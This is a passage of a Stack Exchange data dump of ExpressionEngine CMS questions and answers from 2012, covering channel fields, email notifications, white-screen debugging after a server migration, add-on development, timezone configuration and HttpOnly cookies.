works?&lt;/p&gt;&#xA;" OwnerUserId="61" LastActivityDate="2012-11-21T16:36:37.103" Title="Is there a way to have &quot;global&quot; Channel fields or liberate a set of fields to multiple Channels?" Tags="|ee2|custom-fields|gypsy|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="95" PostTypeId="2" ParentId="94" CreationDate="2012-11-19T17:38:37.160" Score="8" Body="&lt;p&gt;There's &lt;a href=&quot;https://github.com/iainurquhart/global_fields&quot;&gt;https://github.com/iainurquhart/global_fields&lt;/a&gt; which was basically Gypsy reinvented but I'd advise against it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anything that fundamentally alters something like this is a recipe for disaster IMO, the number of abandoned Gypsy sites backs that up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One solution you could use is 1 channel field group with everything you need then use Publish Layouts to hide for fields not needed. Of course doesn't help when you have required fields throughout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like your specific functionality would be better served through another module perhaps? &lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2012-11-19T17:38:37.160" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="96" PostTypeId="2" ParentId="94" CreationDate="2012-11-19T17:51:07.980" Score="6" Body="&lt;p&gt;Brian removed support for Drifter due to some fairly large bugs which cannot be worked around in ExpressionEngine 2.0. The CMS makes too many assumptions about how field groups work for it to be safe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would recommend using something like &lt;a href=&quot;http://devot-ee.com/add-ons/seolite&quot;&gt;SEO Lite&lt;/a&gt; as a template and modifying it to meet your needs. This extension adds global support for extended fields which appear in their own tab, sounds almost exactly like what you want to do. You'd have to dig into it's PHP and modify the fields of course but it would be better to do this than try to make use of Drifter or similar extensions.&lt;/p&gt;&#xA;" OwnerUserId="131" LastActivityDate="2012-11-19T17:51:07.980" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="97" PostTypeId="1" AcceptedAnswerId="588" CreationDate="2012-11-19T18:52:47.957" Score="6" ViewCount="641" Body="&lt;p&gt;Channel entry notifications are not working on new entries generated by SafeCracker. This seems to be a recent development, as the notifications were working previously. The only change has been in updating EE versions and a change to the client's SMTP servers. We tried switching to PHP and Sendmail, and now are working with a new SMTP account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe I've narrowed it to a problem between SafeCracker and the channel. Email notifications are working via FreeForm and Tools &gt; Communicate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Strangely, I did receive 2 new entry notifications via the forms submitted by real users, but the client (whose email address was also in the recipients list) did not, and I was unable to replicate success using test form submissions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Channel entry notifications do work just fine when manually adding a new entry in the Control Panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone experience something similar to this, or have any ideas about what might be preventing notifications from being sent?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE version 2.5.2&lt;/p&gt;&#xA;" OwnerUserId="265" LastEditorUserId="265" LastEditDate="2012-11-19T19:01:00.180" LastActivityDate="2012-11-28T00:29:46.337" Title="Channel entry notification isn't working on entries created by SafeCracker" Tags="|safecracker|channel|entry|notification|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="98" PostTypeId="1" AcceptedAnswerId="188" CreationDate="2012-11-19T20:05:07.880" Score="11" ViewCount="2340" Body="&lt;p&gt;I just migrated a site from the development server on MediaTemple (gs) to the production server on EngineHosting (shared). The front-end of the site displays fine (except some random images aren't displaying), but I get white-screen of death after logging-in to the control panel. My system folder is above web root and I'm using &lt;a href=&quot;https://github.com/focuslabllc/ee-master-config&quot;&gt;Focus Lab Master Config&lt;/a&gt;. Here's what I've tried so far:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I cleared the cache before migrating.&lt;/li&gt;&#xA;&lt;li&gt;I've enabled debugging in config.env.php, index.php, and admin.php, but no errors display.&lt;/li&gt;&#xA;&lt;li&gt;I've cleared my .htaccess file.&lt;/li&gt;&#xA;&lt;li&gt;I checked that my cache folder has 777 permissions.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Not sure what else to try at this point, though I suspect Master Config is the culprit. Suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.5.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; After suggestions from @Tyssen and @jackmcpickle, I removed Master Config, which revealed an extension error. So I disabled extensions via config.php and the Control Panel is displaying. But if I go to the extensions page, only the 1st party extensions show up, so I can't enable/disable 3rd party extensions one by one. What could be causing that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE 2:&lt;/strong&gt; The reason I couldn't see my 3rd party extensions is because my &lt;code&gt;third_party_path&lt;/code&gt; config var was wrong. Unfortunately, once I fixed the path, I got WSoD in the CP again, even with extensions disabled. So we're back to square one again.&lt;/p&gt;&#xA;" OwnerUserId="5" LastEditorUserId="5" LastEditDate="2012-11-21T00:47:01.667" LastActivityDate="2014-09-12T13:38:18.470" Title="White Screen of Death in CP After Login" Tags="|ee2|white-screen-of-death|focus-lab-master-config|server-migration|" AnswerCount="9" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="99" PostTypeId="2" ParentId="71" CreationDate="2012-11-19T20:17:45.110" Score="14" Body="&lt;p&gt;There's also &lt;a href=&quot;http://gotolow.com/addons/low-nospam&quot;&gt;Low NoSpam&lt;/a&gt;, which you use in conjunction with an &lt;a href=&quot;http://akismet.com/&quot;&gt;Akismet&lt;/a&gt; license. I started using it on my personal site when CAPTCHAs weren't effective and it reduced spammy submissions to zero. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other advantage to Akismet is you don't need user-unfriendly CAPTCHAs. Even honeypots can be outsmarted by bots on occasion, and they're not effective against human spammers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The one caveat with Low NoSpam on Freeform is that you can't moderate flagged submissions from the CP. Though that hasn't really been a problem for me.&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2012-11-19T20:17:45.110" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="100" PostTypeId="2" ParentId="98" CreationDate="2012-11-19T20:23:37.883" Score="-1" Body="&lt;p&gt;white screen usually points toward a memory issue.&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2012-11-19T20:23:37.883" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="101" PostTypeId="1" AcceptedAnswerId="105" CreationDate="2012-11-19T20:53:29.123" Score="7" ViewCount="143" Body="&lt;p&gt;What is the best way to manage the ExpressionEngine themes folder with an MSM setup which includes multiple domains?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, I am copying/mirroring the themes folder across all site folders contained in the MSM setup. This tends to work fairly well as long as I set the 'URL to your &quot;themes&quot; folder' and the 'Theme Folder Path' in the Admin section of the CP for each site accordingly, and remember to copy the update files across all domains each time one is added or updated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is getting a cross-domain access error with js if one of those steps is forgotten or fails. Is there a better way of managing fieldtypes, extensions, etc. where I could keep everything located near the system files and not get these errors when using MSM?&lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2012-11-19T21:59:23.897" Title="ExpressionEngine addon script conflicts in MSM sites" Tags="|add-on|multi-site-manager|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="102" PostTypeId="2" ParentId="98" CreationDate="2012-11-19T21:06:52.103" Score="2" Body="&lt;p&gt;Not sure if this is possible on EngineHosting, but could you try re-booting your server instance?  I've had this issue happen before while migrating sites and to fix it I just had to restart apache and everything worked great.&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2012-11-19T21:06:52.103" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="103" PostTypeId="2" ParentId="98" CreationDate="2012-11-19T21:08:34.623" Score="24" Body="&lt;p&gt;Most WSoDs are caused by a PHP error that haults processing combined with configuration that prevents the error from being shows in the browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fastest way to debug white screen errors is to turn on logging and startup errors. The instructions below assume you are running under Apache with an Override setting that will allow php_flag and php_value directions in your .htaccess file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Of course, before changing any files make sure you have a backup of the database and files!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a directory in your home directory named log and make it writeable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ cd ~&#xA;$ mkdir log&#xA;$ chmod -R 777 log&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create an .htaccess file in the root of your project with these lines in it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;php_flag display_errors 1&#xA;php_flag display_startup_errors 1&#xA;php_value error_reporting 30719&#xA;php_value error_log /home/USER/log/PROJECT.log&#xA;php_flag log_errors 1&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I'd recommend putting the following line at the top of your front controllers (your root level /system/index.php, /index.php and /admin.php) so you can see what requests cause what log output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;error_log($_SERVER['REQUEST_METHOD'] . ' ' . $_SERVER['PHP_SELF'] . ($_SERVER['QUERY_STRING'] ? '?' . $_SERVER['QUERY_STRING'] : ''));&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;While making the request that crashes EE, watch the log file with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ tail -f /home/USER/log/PROJECT.log&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The htaccess file does a few things:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Sets error reporting to the current &lt;code&gt;E_ALL&lt;/code&gt; value (you cannot use constants in .htaccess).&lt;/li&gt;&#xA;&lt;li&gt;You should see any syntax errors - that's what &lt;code&gt;display_startup_errors&lt;/code&gt; does&lt;/li&gt;&#xA;&lt;li&gt;If the code turns off &lt;code&gt;display_errors&lt;/code&gt; anywhere (pretty common when you are using a lot of third party code) you should still see the errors in the log.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If this doesn't work, look in your codebase for the following things. &lt;a href=&quot;http://search.cpan.org/~petdance/ack-2.00a01/Ack.pm&quot;&gt;ack&lt;/a&gt; works best for this - it's like grep on steroids - but you can instead use your text editor's Find in Files functionality to search through a local copy if you have FTP-only access.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stuff to check for (each of these is a call that may or may not have arguments, just search for each word listed and take the recommended action):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;@include&lt;/code&gt;, &lt;code&gt;@require&lt;/code&gt; - any of these will ignore syntax errors in the included files. Change these to not have the @ sign so that errors inside them will show up. I believe there is still at least one reference to @require in the Extensions.php file, although this might have been removed finally.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;@eval&lt;/code&gt; - less likely than the above but would also ignore syntax errors. This shouldn't be used by core EE but could be used by add-ons. Change to not have the @ sign.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;exit&lt;/code&gt;, &lt;code&gt;die&lt;/code&gt; - obvious probably, but make sure there is an echo before any of these so that you can see which one caused the output to end (resulting in a White screen).&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;log_errors&lt;/code&gt; - see if someone is turning off error logging for some reason.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;error_reporting&lt;/code&gt; - comment out all of these in third-party add-ons as well as the core. Any of these will disable error reporting to not match the settings provided above.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;ini_set('display_errors', '0')&lt;/code&gt; or &lt;code&gt;ini_set('display_errors', 0)&lt;/code&gt; or &lt;code&gt;ini_set('display_errors', false)&lt;/code&gt;- comment out all of these as well&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If this still doesn't work, you can use a PHP debugger to trace through the code (such as XDebug and one of the many debugging GUI front-ends available such as PhpStorm), or add &lt;code&gt;error_log()&lt;/code&gt; and &lt;code&gt;error_log(print_r($something, true))&lt;/code&gt; calls to write things to the log. This is a lot better than print or echo because it can't be erased or output buffered and gets written instantly to the log file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="131" LastEditorUserId="22" LastEditDate="2012-11-20T15:48:34.200" LastActivityDate="2012-11-20T15:48:34.200" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="104" PostTypeId="2" ParentId="98" CreationDate="2012-11-19T21:40:56.840" Score="2" Body="&lt;p&gt;Before going crazy I'd also try clearing your browser cookies.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2012-11-19T21:40:56.840" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="105" PostTypeId="2" ParentId="101" CreationDate="2012-11-19T21:41:59.970" Score="3" Body="&lt;p&gt;I keep my themes folder with the primary domain and then for each sub site set the themes path and url to match that. Everything is working fine for me doing it this way. I've got several 2-3 site MSM installs running like this and one 10 site install without any issues.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2012-11-19T21:41:59.970" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="106" PostTypeId="2" ParentId="101" CreationDate="2012-11-19T21:59:23.897" Score="4" Body="&lt;p&gt;This has not been a problem for me, so I'm not 100% sure that this addresses your issue, but I believe you could set up your apache vhosts config (or other web server equivalent) to have the themes folder for all your different domains and sub hosts point to the same actual folder on the server itself. This should avoid any issues with loading up JavaScript from another domain. &lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2012-11-19T21:59:23.897" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="107" PostTypeId="1" AcceptedAnswerId="108" CreationDate="2012-11-19T22:23:36.103" Score="6" ViewCount="434" Body="&lt;p&gt;I can't seem to find any documentation or examples of how to give variable pairs parameters in EE add-ons. I have a module working like a charm. Inside the main module tagpair there's a variable pairs like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:mod:method}&#xA;&#xA;    &amp;lt;h1&amp;gt;{top_level_var}&amp;lt;/h1&amp;gt;&#xA;    {var_pair}&#xA;        &amp;lt;p&amp;gt;{var_pair_variable}&amp;lt;/p&amp;gt;&#xA;    {/var_pair}&#xA;&#xA;{/exp:mod:method}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Boom, that's awesome. But sometimes I want to limit the output of the {var_pair} tag via params like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:mod:method}&#xA;&#xA;    &amp;lt;h1&amp;gt;{top_level_var}&amp;lt;/h1&amp;gt;&#xA;    {var_pair limit=&quot;7&quot; number=&quot;42&quot;}&#xA;        &amp;lt;p&amp;gt;{var_pair_variable}&amp;lt;/p&amp;gt;&#xA;    {/var_pair}&#xA;&#xA;{/exp:mod:method}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What's the best way to accomplish this? Does EE natively support such params? &lt;/p&gt;&#xA;" OwnerUserId="198" LastActivityDate="2012-12-01T22:59:57.230" Title="Add-on Development: Variable pairs with parameters" Tags="|add-on|module|parameters|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="108" PostTypeId="2" ParentId="107" CreationDate="2012-11-19T22:32:57.107" Score="12" Body="&lt;p&gt;This is not natively supported in ExpressionEngine. The &quot;official&quot; was to do something similar to this would be to simply use additional module tags. Is there a reason you would not want to do that?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:mod:method}&#xA;&#xA;    &amp;lt;h1&amp;gt;{top_level_var}&amp;lt;/h1&amp;gt;&#xA;    {exp:mod:var_pair limit=&quot;7&quot; number=&quot;42&quot;}&#xA;        &amp;lt;p&amp;gt;{var_pair_variable}&amp;lt;/p&amp;gt;&#xA;    {/exp:mod:var_pair}&#xA;&#xA;{/exp:mod:method}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can use the session cache trick to keep track of shared values between the two module tags when doing this. Place this in your module's constructor:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE = &amp;amp;get_instance();&#xA;if(!isset($this-&amp;gt;EE-&amp;gt;session-&amp;gt;cache[__CLASS__]))&#xA;{&#xA;    $this-&amp;gt;EE-&amp;gt;session-&amp;gt;cache[__CLASS__] = array();&#xA;}&#xA;$this-&amp;gt;cache = &amp;amp;$this-&amp;gt;EE-&amp;gt;session-&amp;gt;cache[__CLASS__];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can then use &lt;strong&gt;$this-&gt;cache&lt;/strong&gt; as an array anywhere in your tags to keep track of shared data, such as the recordset initially loaded by the outer {exp:mod:method} module tag.&lt;/p&gt;&#xA;" OwnerUserId="131" LastActivityDate="2012-11-19T22:32:57.107" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="109" PostTypeId="2" ParentId="92" CreationDate="2012-11-20T01:21:57.827" Score="13" Body="&lt;p&gt;As Steven said, there is a handy workaround to automatically set the current timezone. Elaborating:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add the following to your &lt;code&gt;config.php&lt;/code&gt; file (replacing the &lt;code&gt;America/New_York&lt;/code&gt; timezone with &lt;a href=&quot;http://php.net/manual/en/timezones.php&quot;&gt;one from this list of supported PHP timezones&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var $dateTime = new DateTime();&#xA;$dateTime-&amp;gt;setTimezone(new DateTimeZone('America/New_York'));&#xA;$dateTime-&amp;gt;setTimestamp(time());&#xA;$isDst = (bool)$dateTime-&amp;gt;format('I') ? &quot;y&quot; : &quot;n&quot;;&#xA;$conf['daylight_savings'] = $isDst;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note this will only work on PHP 5.3+ (which you are most likely already using, unless your host is extremely outdated).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;https://gist.github.com/3969207&quot;&gt;https://gist.github.com/3969207&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="150" LastEditorUserId="150" LastEditDate="2012-11-20T01:28:08.600" LastActivityDate="2012-11-20T01:28:08.600" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="110" PostTypeId="2" ParentId="98" CreationDate="2012-11-20T03:49:42.603" Score="3" Body="&lt;p&gt;When I have had a WSoDs in the past it has often been due to third party extensions failing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try turning off extensions in config.php and work your way back from there. Also, make sure you third-party extensions are up to date.&lt;/p&gt;&#xA;" OwnerUserId="154" LastEditorUserId="104" LastEditDate="2012-11-29T00:43:52.927" LastActivityDate="2012-11-29T00:43:52.927" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="111" PostTypeId="1" AcceptedAnswerId="116" CreationDate="2012-11-20T06:02:32.307" Score="5" ViewCount="179" Body="&lt;p&gt;We have a client that wants to see member custom fields when looking at the control panel member list (including the &quot;activate pending members&quot; screen).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a plugin similar to &lt;a href=&quot;http://devot-ee.com/add-ons/zenbu&quot;&gt;Zenbu&lt;/a&gt; except for the members section? Are there any other ways to display custom member fields on the member list page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note we are &lt;strong&gt;not&lt;/strong&gt; using Zoo Visitor or Profile:Edit on this site and would prefer not to add these to an already complicated site unless we really need to.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2012-11-20T14:14:38.787" Title="Is there a plugin like Zenbu for the CP members admin section?" Tags="|members|control-panel|admin|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="112" PostTypeId="1" AcceptedAnswerId="114" CreationDate="2012-11-20T07:20:36.023" Score="8" ViewCount="1275" Body="&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&#xA;Thanks to Dom Stubbs, I have an extension to accomplish this now.  It is &lt;a href=&quot;https://devot-ee.com/add-ons/ub-httponly-cookies&quot; rel=&quot;nofollow&quot;&gt;up on devot-ee&lt;/a&gt; and also &lt;a href=&quot;https://github.com/UltraBob/ub_httponly&quot; rel=&quot;nofollow&quot;&gt;up on GitHub&lt;/a&gt;.  Thanks Dom!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The Original Question&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am nearly through a security review of a new EE2 version of an existing EE1 site that I hope to launch soon.  One of the final issues remaining is to make the cookies HttpOnly.  I've tried doing that through this line in the apache config:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Header edit Set-Cookie &quot;(?i)^((?:(?!;\s?HttpOnly).)+)$&quot; &quot;$1; HttpOnly&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using the dev tools in my browser I can see that it does indeed append HttpOnly to the Set-Cookie headers, but the issue then becomes that I cannot log in.  When I asked Ellislab they tell me that the cookies should not be being dealt with in javascript, which was what I expected the issue might be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ExpressionEngine does not seem to use the session libraries from codeignitor, if it did I could set a config variable to turn httponly on, but it looks like the session handling code is in the expressionengine side of things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The real question that I need answered is how can I make HttpOnly cookies work, but I guess that breaks down into some potential subquestions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Am I missing an addon that would allow me to do this without a lot more heartache?Is there something wrong with my apache approach?  Are you able to log in if you enable that in Apache, log out and try to log back in?&lt;/li&gt;&#xA;&lt;li&gt;Is there something wrong with my apache approach?  Are you able to log in if you enable that in Apache, log out and try to log back in?&lt;/li&gt;&#xA;&lt;li&gt;Failing these, can anybody give me a hint as to where cookies are being set in expressionengine so I can dig in there and try to fix this?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="268" LastEditorUserId="268" LastEditDate="2012-11-26T02:05:05.580" LastActivityDate="2014-04-29T14:44:12.870" Title="How can I enable HttpOnly cookies in EE" Tags="|extension|cookies|apache|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="113" PostTypeId="2" ParentId="98" CreationDate="2012-11-20T09:47:28.363" Score="2" Body="&lt;p&gt;You don't say which version of EE you're using or what add-ons but from experience a common cause of this has been Image Sizer. The specific problem being large files causing out of memory errors. There have been occasions where it has caused a problem even when the files in question are not being directly accessed.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2012-11-20T09:47:28.363" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="114" PostTypeId="2" ParentId="112" CreationDate="2012-11-20T10:30:14.090" Score="3" Body="&lt;p&gt;I've not attempted to implement HttpOnly cookies with EE, but doing so should be relatively straightforward. If you go to line 805 of Functions.php you'll see the &lt;code&gt;setcookie()&lt;/code&gt; call EE uses. Directly above that is the &lt;code&gt;set_cookie_end&lt;/code&gt; hook. As that receives the &lt;code&gt;$data&lt;/code&gt; array of cookie params it would be trivial to create an extension with a custom &lt;code&gt;setcookie()&lt;/code&gt; call. The following is untested but I think it should work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function set_cookie_end($data)&#xA;{&#xA;    // Block EE's native setcookie() call&#xA;    $this-&amp;gt;EE-&amp;gt;extensions-&amp;gt;end_script = TRUE; &#xA;&#xA;    // Set a HttpOnly cookie&#xA;    setcookie($data['prefix'].$data['name'], $data['value'], $data['expire'], &#xA;        $data['path'], $data['domain'], $data['secure_cookie'], TRUE);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can use &lt;a href=&quot;http://pkg.io&quot; rel=&quot;nofollow&quot;&gt;Pkg.io&lt;/a&gt; to eliminate some of the hassle of creating the extension.&lt;/p&gt;&#xA;" OwnerUserId="77" LastActivityDate="2012-11-20T10:30:14.090" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="115" PostTypeId="2" ParentId="97" CreationDate="2012-11-20T10:42:45.637" Score="3" Body="&lt;p&gt;The entries API notifications are triggered at around line 1858 of Api_channel_entries.php. A few &lt;code&gt;var_dump()&lt;/code&gt;s in that area should be enough to determine a) whether the notifications are being triggered at all and b) where the system is attempting to send them to.&lt;/p&gt;&#xA;" OwnerUserId="77" LastActivityDate="2012-11-20T10:42:45.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="116" PostTypeId="2" ParentId="111" CreationDate="2012-11-20T14:14:38.787" Score="4" Body="&lt;p&gt;That would be nice. I haven't seen one. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I often create a frontend admin area to list out members how I want them, and create frontend forms to edit their details. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry, it's the long way. However, it is useful if there are editors that have no need to login into the CP, but need to control the membership side of things.&lt;/p&gt;&#xA;" OwnerUserId="188" LastActivityDate="2012-11-20T14:14:38.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="117" PostTypeId="1" AcceptedAnswerId="120" CreationDate="2012-11-20T15:33:41.167" Score="6" ViewCount="73" Body="&lt;p&gt;I have been experiencing an issue in our UAT environment in regards to new entries. When I publish a new entry, the entry id and the title get written to the database, but the text in the Wygwam field does not. I have to go back into the entry again and paste the content into the Wygwam field and then it will write to the database. Has anyone ever experienced this before? Does anyone have any idea what the culprit could be?&lt;/p&gt;&#xA;" OwnerUserId="50" LastActivityDate="2012-11-20T20:19:50.820" Title="Content field in new entries do not write to the database" Tags="|database|entry|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="118" PostTypeId="2" ParentId="80" CreationDate="2012-11-20T19:56:11.830" Score="2" Body="&lt;p&gt;It turned out to be a server problem. The hosting company restarted Nginx and PHP and everything went back to normal. Mysterious.....&lt;/p&gt;&#xA;" OwnerUserId="93" LastActivityDate="2012-11-20T19:56:11.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="119" PostTypeId="1" AcceptedAnswerId="173" CreationDate="2012-11-20T20:02:48.740" Score="3" ViewCount="342" Body="&lt;p&gt;I have a site with a few hundred pages that I've inherited. It is all built with static html files, one file for every page. It's clear that the previous developer didn't really have a plan for the site as each page as many different elements that seem to be all randomly combined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'd like to do is convert the site to be ExpressionEngine based. Building the site is no problem, but importing the content does not look like it's going to be very fun. Does anyone know if there is a way to some how scrape the main content of each page and get it into a form at that EE can use and do it all automatically?&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2012-11-28T09:33:30.030" Title="Is there an easy way to import content from a site built with static files?" Tags="|ee2|import|how-to|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="120" PostTypeId="2" ParentId="117" CreationDate="2012-11-20T20:19:50.820" Score="3" Body="&lt;p&gt;Generally the first thing I do when running into an issue with something I have used for a long time which has worked well is to simplify the environment. In this case I would create a test channel with only a Wygwam field (use a preset config rather than a custom config.) If this works then perhaps Wygwam (or more specifically, the JS) is conflicting with another field.&lt;/p&gt;&#xA;" OwnerUserId="274" LastActivityDate="2012-11-20T20:19:50.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="121" PostTypeId="2" ParentId="119" CreationDate="2012-11-20T20:22:47.353" Score="3" Body="&lt;p&gt;One option would be to build a PHP parser that would take the site map and loop through each page, collecting the content in the main content div and saving that into the database (or CSV file with title and other fields that could be imported then via &lt;a href=&quot;http://brandnewbox.co.uk/products/details/datagrab&quot; rel=&quot;nofollow noreferrer&quot;&gt;Data Grab&lt;/a&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As long as all the content is in the same main div, you should be good to go. You could even have it check for the first H1 on the page and have it save that as the Title field. If you want to get really fancy, you could also have the PHP file keep track of site hierarchy and import the necessary information for a structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could start here for some information on some basic code samples for the php parser.  &lt;a href=&quot;https://webmasters.stackexchange.com/questions/2969/possible-to-only-load-specifiv-div-of-a-website&quot;&gt;https://webmasters.stackexchange.com/questions/2969/possible-to-only-load-specifiv-div-of-a-website&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It may take a few hours to build the script, but I think it would be a lot quicker than copying all the pages over.&lt;/p&gt;&#xA;" OwnerUserId="137" LastEditorUserId="-1" LastEditDate="2017-04-13T12:33:26.030" LastActivityDate="2012-11-20T20:22:47.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
